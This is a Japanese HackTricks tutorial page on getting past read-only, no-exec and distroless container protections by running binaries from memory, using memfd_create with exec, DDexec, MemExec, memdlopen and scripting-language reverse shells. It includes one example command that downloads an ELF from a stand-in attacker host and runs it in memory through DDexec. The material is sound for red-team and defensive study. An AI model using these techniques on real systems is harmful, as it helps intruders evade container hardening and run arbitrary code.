hacktricks/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md

11 KiB
Raw Blame History

FS保護のバイパス: 読み取り専用 / 実行不可 / Distroless

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をご覧ください!

HackTricksをサポートする他の方法:

動画

以下の動画では、このページで言及されているテクニックについてより詳しく説明しています:

読み取り専用 / 実行不可シナリオ

特にコンテナ内では、読み取り専用(ro)ファイルシステム保護が設定されたLinuxマシンを見つけることが増えています。これは、コンテナにroファイルシステムを設定するのが、securitycontextで**readOnlyRootFilesystem: true**を設定するだけで簡単だからです:

apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

しかし、ファイルシステムがroとしてマウントされていても、/dev/shmは書き込み可能なので、ディスクに何も書き込めないわけではありません。ただし、このフォルダは実行不可の保護でマウントされるため、ここにバイナリをダウンロードしても実行することはできません

{% hint style="warning" %} レッドチームの観点からすると、システムに既に存在しないバイナリ(バックドアやkubectlのような列挙ツールなど)をダウンロードして実行することが複雑になります。 {% endhint %}

最も簡単なバイパス: スクリプト

バイナリについて言及したことに注意してください。マシン内にインタープリタがある限り、shが存在する場合はシェルスクリプトpythonがインストールされている場合はpythonスクリプトなど、任意のスクリプトを実行できます。

しかし、これだけではバイナリバックドアや実行する必要がある他のバイナリツールを実行するには不十分です。

メモリバイパス

ファイルシステムがバイナリの実行を許可していない場合、最良の方法はメモリから実行することです。なぜなら、保護はメモリ内では適用されないからです。

FD + execシステムコールバイパス

マシン内に強力なスクリプトエンジンがある場合、例えばPythonPerlRubyなど、メモリから実行するバイナリをダウンロードし、それをメモリファイルディスクリプタ(create_memfdシステムコール)に保存することができます。これは保護の対象外であり、その後**execシステムコールを呼び出して実行するファイルとしてfdを指定**します。

これには、プロジェクトfileless-elf-execを簡単に使用できます。バイナリを渡すと、指定された言語のスクリプトを生成し、バイナリを圧縮してb64エンコードし、create_memfdシステムコールを呼び出して作成されたfdデコードして解凍する指示と、それを実行するためのexecシステムコールの呼び出しを行います。

{% hint style="warning" %} これは、PHPやNodeのような他のスクリプト言語では機能しません。なぜなら、これらの言語にはスクリプトから生のシステムコールを呼び出すデフォルトの方法がないため、バイナリを保存するためのメモリfdを作成するcreate_memfdを呼び出すことができません。

さらに、/dev/shmにファイルを持つ通常のfdを作成しても、実行不可の保護が適用されるため、実行することはできません。 {% endhint %}

DDexec / EverythingExec

DDexec / EverythingExecは、自分のプロセスのメモリを**/proc/self/memを上書きすることで変更する**技術です。

したがって、プロセスによって実行されているアセンブリコードを制御することで、シェルコードを書き込み、プロセスを"変異"させて任意のコードを実行することができます。

{% hint style="success" %} DDexec / EverythingExecは、独自のシェルコード任意のバイナリメモリからロードして実行することを可能にします。 {% endhint %}

# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

このテクニックについての詳細はGithubをチェックするか、以下を参照してください

{% content-ref url="ddexec.md" %} ddexec.md {% endcontent-ref %}

MemExec

MemexecはDDexecの自然な次のステップです。これはデーモン化されたDDexecシェルコードで、異なるバイナリを実行したいたびにDDexecを再起動する必要はなく、DDexecテクニックを介してmemexecシェルコードを実行し、このデーモンと通信して新しいバイナリをロードして実行することができます。

PHPリバースシェルからバイナリを実行するためにmemexecを使用する例https://github.com/arget13/memexec/blob/main/a.phpで見ることができます。

Memdlopen

DDexecと同様の目的で、memdlopenテクニックは、後で実行するためにメモリ内にバイナリをより簡単にロードする方法を提供します。これにより、依存関係を持つバイナリをロードすることも可能になるかもしれません。

Distroless Bypass

Distrolessとは

Distrolessコンテナには、特定のアプリケーションやサービスを実行するために必要な最小限のコンポーネントのみが含まれており、ライブラリやランタイム依存関係などが含まれますが、パッケージマネージャー、シェル、システムユーティリティなどの大きなコンポーネントは除外されています。

Distrolessコンテナの目的は、不要なコンポーネントを排除し、悪用される可能性のある脆弱性の数を最小限に抑えることによって、コンテナの攻撃面を減らすことです。

リバースシェル

Distrolessコンテナでは、通常のシェルを取得するためのshbash見つからないかもしれません。また、lswhoamiidなどのバイナリも見つからないでしょう。通常、システムで実行するものは何もありません。

{% hint style="warning" %} したがって、通常のようにリバースシェルを取得したり、システムを列挙することはできません。 {% endhint %}

しかし、侵害されたコンテナが例えばflask webを実行している場合、pythonがインストールされているため、Pythonリバースシェルを取得することができます。nodeを実行している場合は、Nodeリバースシェルを取得でき、ほとんどのスクリプト言語でも同様です。

{% hint style="success" %} スクリプト言語を使用して、言語の機能を使ってシステムを列挙することができます。 {% endhint %}

読み取り専用/実行不可の保護がない場合は、リバースシェルを悪用してファイルシステムにバイナリを書き込み、それらを実行することができます。

{% hint style="success" %} しかし、この種のコンテナでは通常これらの保護が存在しますが、前述のメモリ実行テクニックを使用してそれらをバイパスすることができます。 {% endhint %}

スクリプト言語のリバースシェルを取得し、メモリからバイナリを実行するために、いくつかのRCE脆弱性を悪用する例https://github.com/carlospolop/DistrolessRCEで見つけることができます。

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をチェックしてください!

HackTricksをサポートする他の方法